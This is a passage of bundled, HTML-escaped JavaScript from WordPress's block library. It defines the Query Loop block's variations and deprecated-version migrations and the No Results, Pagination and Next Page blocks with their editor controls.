  var imageDateTitle = /* @__PURE__ */ (0, import_jsx_runtime400.jsx)(import_components133.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 48 48&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime400.jsx)(import_components133.Path, { d: &quot;M7 9h34v6H7V9zm12 8H7v1h12v-1zm18 3H7v1h30v-1zm0 18H7v1h30v-1zM7 35h12v1H7v-1zm34-8H7v6h34v-6z&quot; }) });

  // packages/block-library/build-module/query/variations.mjs
  var postDate = [
    &quot;core/post-date&quot;,
    {
      metadata: {
        bindings: {
          datetime: {
            source: &quot;core/post-data&quot;,
            args: { field: &quot;date&quot; }
          }
        }
      }
    }
  ];
  var variations13 = [
    {
      name: &quot;title-date&quot;,
      title: (0, import_i18n202.__)(&quot;Title &amp; Date&quot;),
      icon: titleDate,
      attributes: {},
      innerBlocks: [
        [&quot;core/post-template&quot;, {}, [[&quot;core/post-title&quot;], postDate]],
        [&quot;core/query-pagination&quot;],
        [&quot;core/query-no-results&quot;]
      ],
      scope: [&quot;block&quot;]
    },
    {
      name: &quot;title-excerpt&quot;,
      title: (0, import_i18n202.__)(&quot;Title &amp; Excerpt&quot;),
      icon: titleExcerpt,
      attributes: {},
      innerBlocks: [
        [
          &quot;core/post-template&quot;,
          {},
          [[&quot;core/post-title&quot;], [&quot;core/post-excerpt&quot;]]
        ],
        [&quot;core/query-pagination&quot;],
        [&quot;core/query-no-results&quot;]
      ],
      scope: [&quot;block&quot;]
    },
    {
      name: &quot;title-date-excerpt&quot;,
      title: (0, import_i18n202.__)(&quot;Title, Date, &amp; Excerpt&quot;),
      icon: titleDateExcerpt,
      attributes: {},
      innerBlocks: [
        [
          &quot;core/post-template&quot;,
          {},
          [[&quot;core/post-title&quot;], postDate, [&quot;core/post-excerpt&quot;]]
        ],
        [&quot;core/query-pagination&quot;],
        [&quot;core/query-no-results&quot;]
      ],
      scope: [&quot;block&quot;]
    },
    {
      name: &quot;image-date-title&quot;,
      title: (0, import_i18n202.__)(&quot;Image, Date, &amp; Title&quot;),
      icon: imageDateTitle,
      attributes: {},
      innerBlocks: [
        [
          &quot;core/post-template&quot;,
          {},
          [
            [&quot;core/post-featured-image&quot;],
            postDate,
            [&quot;core/post-title&quot;]
          ]
        ],
        [&quot;core/query-pagination&quot;],
        [&quot;core/query-no-results&quot;]
      ],
      scope: [&quot;block&quot;]
    }
  ];
  var variations_default13 = variations13;

  // packages/block-library/build-module/query/deprecated.mjs
  var import_blocks97 = __toESM(require_blocks(), 1);
  var import_block_editor213 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime401 = __toESM(require_jsx_runtime(), 1);
  var { cleanEmptyObject: cleanEmptyObject6 } = unlock(import_block_editor213.privateApis);
  var migrateToTaxQuery = (attributes2) =&gt; {
    const { query } = attributes2;
    const { categoryIds, tagIds, taxQuery, ...newQuery } = query;
    if (!!categoryIds?.length || !!tagIds?.length) {
      newQuery.taxQuery = {
        include: {
          category: !!categoryIds?.length ? categoryIds : void 0,
          post_tag: !!tagIds?.length ? tagIds : void 0
        }
      };
    }
    if (!!Object.keys(taxQuery || {}).length) {
      newQuery.taxQuery = { include: taxQuery };
    }
    return {
      ...attributes2,
      query: newQuery
    };
  };
  var migrateColors = (attributes2, innerBlocks) =&gt; {
    const { style: style2, backgroundColor, gradient, textColor, ...newAttributes } = attributes2;
    const hasColorStyles = backgroundColor || gradient || textColor || style2?.color || style2?.elements?.link;
    if (!hasColorStyles) {
      return [attributes2, innerBlocks];
    }
    if (style2) {
      newAttributes.style = cleanEmptyObject6({
        ...style2,
        color: void 0,
        elements: {
          ...style2.elements,
          link: void 0
        }
      });
    }
    if (hasSingleInnerGroupBlock(innerBlocks)) {
      const groupBlock = innerBlocks[0];
      const hasStyles = style2?.color || style2?.elements?.link || groupBlock.attributes.style;
      const newStyles = hasStyles ? cleanEmptyObject6({
        ...groupBlock.attributes.style,
        color: style2?.color,
        elements: style2?.elements?.link ? { link: style2?.elements?.link } : void 0
      }) : void 0;
      const updatedGroupBlock = (0, import_blocks97.createBlock)(
        &quot;core/group&quot;,
        {
          ...groupBlock.attributes,
          backgroundColor,
          gradient,
          textColor,
          style: newStyles
        },
        groupBlock.innerBlocks
      );
      return [newAttributes, [updatedGroupBlock]];
    }
    const newGroupBlock = (0, import_blocks97.createBlock)(
      &quot;core/group&quot;,
      {
        backgroundColor,
        gradient,
        textColor,
        style: cleanEmptyObject6({
          color: style2?.color,
          elements: style2?.elements?.link ? { link: style2?.elements?.link } : void 0
        })
      },
      innerBlocks
    );
    return [newAttributes, [newGroupBlock]];
  };
  var hasSingleInnerGroupBlock = (innerBlocks = []) =&gt; innerBlocks.length === 1 &amp;&amp; innerBlocks[0].name === &quot;core/group&quot;;
  var migrateToConstrainedLayout = (attributes2) =&gt; {
    const { layout = null } = attributes2;
    if (!layout) {
      return attributes2;
    }
    const { inherit = null, contentSize = null, ...newLayout } = layout;
    if (inherit || contentSize) {
      return {
        ...attributes2,
        layout: {
          ...newLayout,
          contentSize,
          type: &quot;constrained&quot;
        }
      };
    }
    return attributes2;
  };
  var findPostTemplateBlock = (innerBlocks = []) =&gt; {
    let foundBlock = null;
    for (const block of innerBlocks) {
      if (block.name === &quot;core/post-template&quot;) {
        foundBlock = block;
        break;
      } else if (block.innerBlocks.length) {
        foundBlock = findPostTemplateBlock(block.innerBlocks);
      }
    }
    return foundBlock;
  };
  var replacePostTemplateBlock = (innerBlocks = [], replacementBlock) =&gt; {
    innerBlocks.forEach((block, index) =&gt; {
      if (block.name === &quot;core/post-template&quot;) {
        innerBlocks.splice(index, 1, replacementBlock);
      } else if (block.innerBlocks.length) {
        block.innerBlocks = replacePostTemplateBlock(
          block.innerBlocks,
          replacementBlock
        );
      }
    });
    return innerBlocks;
  };
  var migrateDisplayLayout = (attributes2, innerBlocks) =&gt; {
    const { displayLayout = null, ...newAttributes } = attributes2;
    if (!displayLayout) {
      return [attributes2, innerBlocks];
    }
    const postTemplateBlock = findPostTemplateBlock(innerBlocks);
    if (!postTemplateBlock) {
      return [attributes2, innerBlocks];
    }
    const { type, columns } = displayLayout;
    const updatedLayoutType = type === &quot;flex&quot; ? &quot;grid&quot; : &quot;default&quot;;
    const newPostTemplateBlock = (0, import_blocks97.createBlock)(
      &quot;core/post-template&quot;,
      {
        ...postTemplateBlock.attributes,
        layout: {
          type: updatedLayoutType,
          ...columns &amp;&amp; { columnCount: columns }
        }
      },
      postTemplateBlock.innerBlocks
    );
    return [
      newAttributes,
      replacePostTemplateBlock(innerBlocks, newPostTemplateBlock)
    ];
  };
  var v136 = {
    attributes: {
      queryId: {
        type: &quot;number&quot;
      },
      query: {
        type: &quot;object&quot;,
        default: {
          perPage: null,
          pages: 0,
          offset: 0,
          postType: &quot;post&quot;,
          categoryIds: [],
          tagIds: [],
          order: &quot;desc&quot;,
          orderBy: &quot;date&quot;,
          author: &quot;&quot;,
          search: &quot;&quot;,
          exclude: [],
          sticky: &quot;&quot;,
          inherit: true
        }
      },
      layout: {
        type: &quot;object&quot;,
        default: {
          type: &quot;list&quot;
        }
      }
    },
    supports: {
      html: false
    },
    migrate(attributes2, innerBlocks) {
      const withTaxQuery = migrateToTaxQuery(attributes2);
      const { layout, ...restWithTaxQuery } = withTaxQuery;
      const newAttributes = {
        ...restWithTaxQuery,
        displayLayout: withTaxQuery.layout
      };
      return migrateDisplayLayout(newAttributes, innerBlocks);
    },
    save() {
      return /* @__PURE__ */ (0, import_jsx_runtime401.jsx)(import_block_editor213.InnerBlocks.Content, {});
    }
  };
  var v215 = {
    attributes: {
      queryId: {
        type: &quot;number&quot;
      },
      query: {
        type: &quot;object&quot;,
        default: {
          perPage: null,
          pages: 0,
          offset: 0,
          postType: &quot;post&quot;,
          categoryIds: [],
          tagIds: [],
          order: &quot;desc&quot;,
          orderBy: &quot;date&quot;,
          author: &quot;&quot;,
          search: &quot;&quot;,
          exclude: [],
          sticky: &quot;&quot;,
          inherit: true
        }
      },
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      },
      displayLayout: {
        type: &quot;object&quot;,
        default: {
          type: &quot;list&quot;
        }
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true
      },
      layout: true
    },
    isEligible: ({ query: { categoryIds, tagIds } = {} }) =&gt; categoryIds || tagIds,
    migrate(attributes2, innerBlocks) {
      const withTaxQuery = migrateToTaxQuery(attributes2);
      const [withColorAttributes, withColorInnerBlocks] = migrateColors(
        withTaxQuery,
        innerBlocks
      );
      const withConstrainedLayoutAttributes = migrateToConstrainedLayout(withColorAttributes);
      return migrateDisplayLayout(
        withConstrainedLayoutAttributes,
        withColorInnerBlocks
      );
    },
    save({ attributes: { tagName: Tag = &quot;div&quot; } }) {
      const blockProps = import_block_editor213.useBlockProps.save();
      const innerBlocksProps = import_block_editor213.useInnerBlocksProps.save(blockProps);
      return /* @__PURE__ */ (0, import_jsx_runtime401.jsx)(Tag, { ...innerBlocksProps });
    }
  };
  var v310 = {
    attributes: {
      queryId: {
        type: &quot;number&quot;
      },
      query: {
        type: &quot;object&quot;,
        default: {
          perPage: null,
          pages: 0,
          offset: 0,
          postType: &quot;post&quot;,
          order: &quot;desc&quot;,
          orderBy: &quot;date&quot;,
          author: &quot;&quot;,
          search: &quot;&quot;,
          exclude: [],
          sticky: &quot;&quot;,
          inherit: true,
          taxQuery: null,
          parents: []
        }
      },
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      },
      displayLayout: {
        type: &quot;object&quot;,
        default: {
          type: &quot;list&quot;
        }
      },
      namespace: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      layout: true
    },
    isEligible(attributes2) {
      const { style: style2, backgroundColor, gradient, textColor } = attributes2;
      return backgroundColor || gradient || textColor || style2?.color || style2?.elements?.link;
    },
    migrate(attributes2, innerBlocks) {
      const [withColorAttributes, withColorInnerBlocks] = migrateColors(
        attributes2,
        innerBlocks
      );
      const withConstrainedLayoutAttributes = migrateToConstrainedLayout(withColorAttributes);
      return migrateDisplayLayout(
        withConstrainedLayoutAttributes,
        withColorInnerBlocks
      );
    },
    save({ attributes: { tagName: Tag = &quot;div&quot; } }) {
      const blockProps = import_block_editor213.useBlockProps.save();
      const innerBlocksProps = import_block_editor213.useInnerBlocksProps.save(blockProps);
      return /* @__PURE__ */ (0, import_jsx_runtime401.jsx)(Tag, { ...innerBlocksProps });
    }
  };
  var v49 = {
    attributes: {
      queryId: {
        type: &quot;number&quot;
      },
      query: {
        type: &quot;object&quot;,
        default: {
          perPage: null,
          pages: 0,
          offset: 0,
          postType: &quot;post&quot;,
          order: &quot;desc&quot;,
          orderBy: &quot;date&quot;,
          author: &quot;&quot;,
          search: &quot;&quot;,
          exclude: [],
          sticky: &quot;&quot;,
          inherit: true,
          taxQuery: null,
          parents: []
        }
      },
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      },
      displayLayout: {
        type: &quot;object&quot;,
        default: {
          type: &quot;list&quot;
        }
      },
      namespace: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      layout: true
    },
    save({ attributes: { tagName: Tag = &quot;div&quot; } }) {
      const blockProps = import_block_editor213.useBlockProps.save();
      const innerBlocksProps = import_block_editor213.useInnerBlocksProps.save(blockProps);
      return /* @__PURE__ */ (0, import_jsx_runtime401.jsx)(Tag, { ...innerBlocksProps });
    },
    isEligible: ({ layout }) =&gt; layout?.inherit || layout?.contentSize &amp;&amp; layout?.type !== &quot;constrained&quot;,
    migrate(attributes2, innerBlocks) {
      const withConstrainedLayoutAttributes = migrateToConstrainedLayout(attributes2);
      return migrateDisplayLayout(
        withConstrainedLayoutAttributes,
        innerBlocks
      );
    }
  };
  var v58 = {
    attributes: {
      queryId: {
        type: &quot;number&quot;
      },
      query: {
        type: &quot;object&quot;,
        default: {
          perPage: null,
          pages: 0,
          offset: 0,
          postType: &quot;post&quot;,
          order: &quot;desc&quot;,
          orderBy: &quot;date&quot;,
          author: &quot;&quot;,
          search: &quot;&quot;,
          exclude: [],
          sticky: &quot;&quot;,
          inherit: true,
          taxQuery: null,
          parents: []
        }
      },
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      },
      displayLayout: {
        type: &quot;object&quot;,
        default: {
          type: &quot;list&quot;
        }
      },
      namespace: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      html: false,
      layout: true
    },
    save({ attributes: { tagName: Tag = &quot;div&quot; } }) {
      const blockProps = import_block_editor213.useBlockProps.save();
      const innerBlocksProps = import_block_editor213.useInnerBlocksProps.save(blockProps);
      return /* @__PURE__ */ (0, import_jsx_runtime401.jsx)(Tag, { ...innerBlocksProps });
    },
    isEligible: ({ displayLayout }) =&gt; {
      return !!displayLayout;
    },
    migrate: migrateDisplayLayout
  };
  var v67 = {
    attributes: {
      queryId: {
        type: &quot;number&quot;
      },
      query: {
        type: &quot;object&quot;,
        default: {
          perPage: null,
          pages: 0,
          offset: 0,
          postType: &quot;post&quot;,
          order: &quot;desc&quot;,
          orderBy: &quot;date&quot;,
          author: &quot;&quot;,
          search: &quot;&quot;,
          exclude: [],
          sticky: &quot;&quot;,
          inherit: true,
          taxQuery: null,
          parents: [],
          format: []
        }
      },
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      },
      namespace: {
        type: &quot;string&quot;
      },
      enhancedPagination: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      layout: true,
      interactivity: true,
      contentRole: true
    },
    save({ attributes: { tagName: Tag = &quot;div&quot; } }) {
      const blockProps = import_block_editor213.useBlockProps.save();
      const innerBlocksProps = import_block_editor213.useInnerBlocksProps.save(blockProps);
      return /* @__PURE__ */ (0, import_jsx_runtime401.jsx)(Tag, { ...innerBlocksProps });
    },
    isEligible: ({ query: { taxQuery } = {} }) =&gt; !!taxQuery &amp;&amp; Object.keys(taxQuery).some(
      (key) =&gt; ![&quot;include&quot;, &quot;exclude&quot;].includes(key)
    ),
    migrate(attributes2, innerBlocks) {
      const withTaxQuery = migrateToTaxQuery(attributes2);
      return migrateDisplayLayout(withTaxQuery, innerBlocks);
    }
  };
  var deprecated14 = [v67, v58, v49, v310, v215, v136];
  var deprecated_default40 = deprecated14;

  // packages/block-library/build-module/query/index.mjs
  var { name: name84 } = block_default83;
  var settings83 = {
    icon: loop_default,
    edit: edit_default31,
    example: {
      viewportWidth: 650,
      attributes: {
        namespace: &quot;core/posts-list&quot;,
        query: {
          perPage: 4,
          pages: 1,
          offset: 0,
          postType: &quot;post&quot;,
          order: &quot;desc&quot;,
          orderBy: &quot;date&quot;,
          author: &quot;&quot;,
          search: &quot;&quot;,
          sticky: &quot;exclude&quot;,
          inherit: false
        }
      },
      innerBlocks: [
        {
          name: &quot;core/post-template&quot;,
          attributes: {
            layout: {
              type: &quot;grid&quot;,
              columnCount: 2
            }
          },
          innerBlocks: [
            {
              name: &quot;core/post-title&quot;
            },
            {
              name: &quot;core/post-date&quot;,
              attributes: {
                metadata: {
                  bindings: {
                    datetime: {
                      source: &quot;core/post-data&quot;,
                      args: { field: &quot;date&quot; }
                    }
                  }
                }
              }
            },
            {
              name: &quot;core/post-excerpt&quot;
            }
          ]
        }
      ]
    },
    save: save41,
    variations: variations_default13,
    deprecated: deprecated_default40
  };
  var init83 = () =&gt; initBlock({ name: name84, metadata: block_default83, settings: settings83 });

  // packages/block-library/build-module/query-no-results/index.mjs
  var query_no_results_exports = {};
  __export(query_no_results_exports, {
    init: () =&gt; init84,
    metadata: () =&gt; block_default84,
    name: () =&gt; name85,
    settings: () =&gt; settings84
  });
  var import_i18n204 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/query-no-results/block.json
  var block_default84 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/query-no-results&quot;,
    title: &quot;No Results&quot;,
    category: &quot;theme&quot;,
    description: &quot;Contains the block elements used to render content when no query results are found.&quot;,
    ancestor: [&quot;core/query&quot;],
    textdomain: &quot;default&quot;,
    usesContext: [&quot;queryId&quot;, &quot;query&quot;],
    supports: {
      anchor: true,
      align: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/query-no-results/edit.mjs
  var import_block_editor214 = __toESM(require_block_editor(), 1);
  var import_i18n203 = __toESM(require_i18n(), 1);
  var import_jsx_runtime402 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE14 = [
    [
      &quot;core/paragraph&quot;,
      {
        placeholder: (0, import_i18n203.__)(
          &quot;Add text or blocks that will display when a query returns no results.&quot;
        )
      }
    ]
  ];
  function QueryNoResultsEdit() {
    const blockProps = (0, import_block_editor214.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor214.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE14
    });
    return /* @__PURE__ */ (0, import_jsx_runtime402.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/query-no-results/save.mjs
  var import_block_editor215 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime403 = __toESM(require_jsx_runtime(), 1);
  function save42() {
    return /* @__PURE__ */ (0, import_jsx_runtime403.jsx)(import_block_editor215.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/query-no-results/index.mjs
  var { name: name85 } = block_default84;
  var settings84 = {
    icon: loop_default,
    edit: QueryNoResultsEdit,
    save: save42,
    example: {
      innerBlocks: [
        {
          name: &quot;core/paragraph&quot;,
          attributes: {
            content: (0, import_i18n204.__)(&quot;No posts were found.&quot;)
          }
        }
      ]
    }
  };
  var init84 = () =&gt; initBlock({ name: name85, metadata: block_default84, settings: settings84 });

  // packages/block-library/build-module/query-pagination/index.mjs
  var query_pagination_exports = {};
  __export(query_pagination_exports, {
    init: () =&gt; init85,
    metadata: () =&gt; block_default85,
    name: () =&gt; name86,
    settings: () =&gt; settings85
  });

  // packages/block-library/build-module/query-pagination/block.json
  var block_default85 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/query-pagination&quot;,
    title: &quot;Pagination&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/query&quot;],
    allowedBlocks: [
      &quot;core/query-pagination-previous&quot;,
      &quot;core/query-pagination-numbers&quot;,
      &quot;core/query-pagination-next&quot;
    ],
    description: &quot;Displays a paginated navigation to next/previous set of posts, when applicable.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      paginationArrow: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      },
      showLabel: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    usesContext: [&quot;queryId&quot;, &quot;query&quot;],
    providesContext: {
      paginationArrow: &quot;paginationArrow&quot;,
      showLabel: &quot;showLabel&quot;
    },
    supports: {
      anchor: true,
      align: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        default: {
          type: &quot;flex&quot;
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-query-pagination-editor&quot;,
    style: &quot;wp-block-query-pagination&quot;
  };

  // packages/block-library/build-module/query-pagination/edit.mjs
  var import_i18n207 = __toESM(require_i18n(), 1);
  var import_block_editor216 = __toESM(require_block_editor(), 1);
  var import_data124 = __toESM(require_data(), 1);
  var import_components136 = __toESM(require_components(), 1);
  var import_element112 = __toESM(require_element(), 1);

  // packages/block-library/build-module/query-pagination/query-pagination-arrow-controls.mjs
  var import_i18n205 = __toESM(require_i18n(), 1);
  var import_components134 = __toESM(require_components(), 1);
  var import_jsx_runtime404 = __toESM(require_jsx_runtime(), 1);
  function QueryPaginationArrowControls({ value, onChange }) {
    return /* @__PURE__ */ (0, import_jsx_runtime404.jsxs)(
      import_components134.__experimentalToggleGroupControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n205.__)(&quot;Arrow&quot;),
        value,
        onChange,
        help: (0, import_i18n205.__)(
          &quot;A decorative arrow appended to the next and previous page link.&quot;
        ),
        isBlock: true,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime404.jsx)(
            import_components134.__experimentalToggleGroupControlOption,
            {
              value: &quot;none&quot;,
              label: (0, import_i18n205._x)(
                &quot;None&quot;,
                &quot;Arrow option for Query Pagination Next/Previous blocks&quot;
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime404.jsx)(
            import_components134.__experimentalToggleGroupControlOption,
            {
              value: &quot;arrow&quot;,
              label: (0, import_i18n205._x)(
                &quot;Arrow&quot;,
                &quot;Arrow option for Query Pagination Next/Previous blocks&quot;
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime404.jsx)(
            import_components134.__experimentalToggleGroupControlOption,
            {
              value: &quot;chevron&quot;,
              label: (0, import_i18n205._x)(
                &quot;Chevron&quot;,
                &quot;Arrow option for Query Pagination Next/Previous blocks&quot;
              )
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/query-pagination/query-pagination-label-control.mjs
  var import_i18n206 = __toESM(require_i18n(), 1);
  var import_components135 = __toESM(require_components(), 1);
  var import_jsx_runtime405 = __toESM(require_jsx_runtime(), 1);
  function QueryPaginationLabelControl({ value, onChange }) {
    return /* @__PURE__ */ (0, import_jsx_runtime405.jsx)(
      import_components135.ToggleControl,
      {
        label: (0, import_i18n206.__)(&quot;Show label text&quot;),
        help: (0, import_i18n206.__)(&#039;Make label text visible, e.g. &quot;Next Page&quot;.&#039;),
        onChange,
        checked: value === true
      }
    );
  }

  // packages/block-library/build-module/query-pagination/edit.mjs
  var import_jsx_runtime406 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE15 = [
    [&quot;core/query-pagination-previous&quot;],
    [&quot;core/query-pagination-numbers&quot;],
    [&quot;core/query-pagination-next&quot;]
  ];
  function QueryPaginationEdit2({
    attributes: { paginationArrow, showLabel },
    setAttributes,
    clientId
  }) {
    const hasNextPreviousBlocks = (0, import_data124.useSelect)(
      (select9) =&gt; {
        const { getBlocks } = select9(import_block_editor216.store);
        const innerBlocks = getBlocks(clientId);
        return innerBlocks?.find((innerBlock) =&gt; {
          return [
            &quot;core/query-pagination-next&quot;,
            &quot;core/query-pagination-previous&quot;
          ].includes(innerBlock.name);
        });
      },
      [clientId]
    );
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data124.useDispatch)(import_block_editor216.store);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const blockProps = (0, import_block_editor216.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor216.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE15
    });
    (0, import_element112.useEffect)(() =&gt; {
      if (paginationArrow === &quot;none&quot; &amp;&amp; !showLabel) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({ showLabel: true });
      }
    }, [
      paginationArrow,
      setAttributes,
      showLabel,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    return /* @__PURE__ */ (0, import_jsx_runtime406.jsxs)(import_jsx_runtime406.Fragment, { children: [
      hasNextPreviousBlocks &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime406.jsx)(import_block_editor216.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime406.jsxs)(
        import_components136.__experimentalToolsPanel,
        {
          label: (0, import_i18n207.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              paginationArrow: &quot;none&quot;,
              showLabel: true
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime406.jsx)(
              import_components136.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; paginationArrow !== &quot;none&quot;,
                label: (0, import_i18n207.__)(&quot;Pagination arrow&quot;),
                onDeselect: () =&gt; setAttributes({ paginationArrow: &quot;none&quot; }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime406.jsx)(
                  QueryPaginationArrowControls,
                  {
                    value: paginationArrow,
                    onChange: (value) =&gt; {
                      setAttributes({ paginationArrow: value });
                    }
                  }
                )
              }
            ),
            paginationArrow !== &quot;none&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime406.jsx)(
              import_components136.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !showLabel,
                label: (0, import_i18n207.__)(&quot;Show text&quot;),
                onDeselect: () =&gt; setAttributes({ showLabel: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime406.jsx)(
                  QueryPaginationLabelControl,
                  {
                    value: showLabel,
                    onChange: (value) =&gt; {
                      setAttributes({ showLabel: value });
                    }
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime406.jsx)(&quot;nav&quot;, { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/query-pagination/save.mjs
  var import_block_editor217 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime407 = __toESM(require_jsx_runtime(), 1);
  function save43() {
    return /* @__PURE__ */ (0, import_jsx_runtime407.jsx)(import_block_editor217.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/query-pagination/deprecated.mjs
  var import_block_editor218 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime408 = __toESM(require_jsx_runtime(), 1);
  var deprecated15 = [
    // Version with wrapper `div` element.
    {
      save() {
        return /* @__PURE__ */ (0, import_jsx_runtime408.jsx)(&quot;div&quot;, { ...import_block_editor218.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime408.jsx)(import_block_editor218.InnerBlocks.Content, {}) });
      }
    }
  ];
  var deprecated_default41 = deprecated15;

  // packages/block-library/build-module/query-pagination/index.mjs
  var { name: name86 } = block_default85;
  var settings85 = {
    icon: query_pagination_default,
    edit: QueryPaginationEdit2,
    save: save43,
    deprecated: deprecated_default41
  };
  var init85 = () =&gt; initBlock({ name: name86, metadata: block_default85, settings: settings85 });

  // packages/block-library/build-module/query-pagination-next/index.mjs
  var query_pagination_next_exports = {};
  __export(query_pagination_next_exports, {
    init: () =&gt; init86,
    metadata: () =&gt; block_default86,
    name: () =&gt; name87,
    settings: () =&gt; settings86
  });

  // packages/block-library/build-module/query-pagination-next/block.json
  var block_default86 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/query-pagination-next&quot;,
    title: &quot;Next Page&quot;,
    category: &quot;theme&quot;,
    parent: [&quot;core/query-pagination&quot;],
    description: &quot;Displays the next posts page link.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      label: {
        type: &quot;string&quot;
      }
    },
    usesContext: [
      &quot;queryId&quot;,
      &quot;query&quot;,
      &quot;paginationArrow&quot;,
      &quot;showLabel&quot;,
      &quot;enhancedPagination&quot;
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/query-pagination-next/edit.mjs
  var import_i18n208 = __toESM(require_i18n(), 1);
  var import_block_editor219 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime409 = __toESM(require_jsx_runtime(), 1);
  var arrowMap3 = {
    none: &quot;&quot;,
    arrow: &quot;\u2192&quot;,
    chevron: &quot;\xBB&quot;
  };
  function QueryPaginationNextEdit({
    attributes: { label },
    setAttributes,
    context: { paginationArrow, showLabel }
  }) {
    const displayArrow = arrowMap3[paginationArrow];
    return /* @__PURE__ */ (0, import_jsx_runtime409.jsxs)(
      &quot;a&quot;,
      {
        href: &quot;#pagination-next-pseudo-link&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        ...(0, import_block_editor219.useBlockProps)(),
        children: [
          showLabel &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime409.jsx)(
            import_block_editor219.PlainText,
            {
              __experimentalVersion: 2,
              tagName: &quot;span&quot;,
              &quot;aria-label&quot;: (0, import_i18n208.__)(&quot;Next page link&quot;),
              placeholder: (0, import_i18n208.__)(&quot;Next Page&quot;),
              value: label,
              onChange: (newLabel) =&gt; setAttributes({ label: newLabel })
            }
          ),
